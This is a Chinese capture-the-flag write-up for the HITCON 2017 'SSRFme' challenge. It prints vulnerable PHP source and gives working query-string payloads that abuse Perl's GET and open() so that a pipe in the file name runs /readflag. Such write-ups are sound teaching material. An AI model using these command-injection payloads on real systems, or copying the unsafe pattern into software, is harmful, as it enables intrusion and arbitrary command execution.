[HITCON 2017]SSRFme

11 篇文章 0 订阅
7 篇文章 0 订阅

源码:

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

审计后看到获取了ip,在前面加上orange后md5加密创建了目录。
在这里插入图片描述
这里有点涉及知识盲区,参考wp后知道这个GET是perl语言
GET后面跟路径的话,可以直接获取文件或目录内容
再看这里
在这里插入图片描述
将我们GET输出的内容写入到我们创建的文件中,构造payload读取根目录

?url=/&filename=fmyyy
/sandbox/fcf2bccafc269c160382150a0166d632/fmyyy

在这里插入图片描述
看到了flag和readflag
flag里面应该是假flag,我们要执行readflag读取flag
perl中的GET可以用file协议执行命令
而perl里的GET函数底层就是调用了open处理
当GET使用file协议的时候就会调用到perl的open函数。
open函数命令执行格式open(FD, "ls|");
但用open函数进行命令执行/readflag前提是得有同名文件。
paylaod:

?url=&filename=|/readflag
?url=file:/readflag|&filename=fmyyy

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值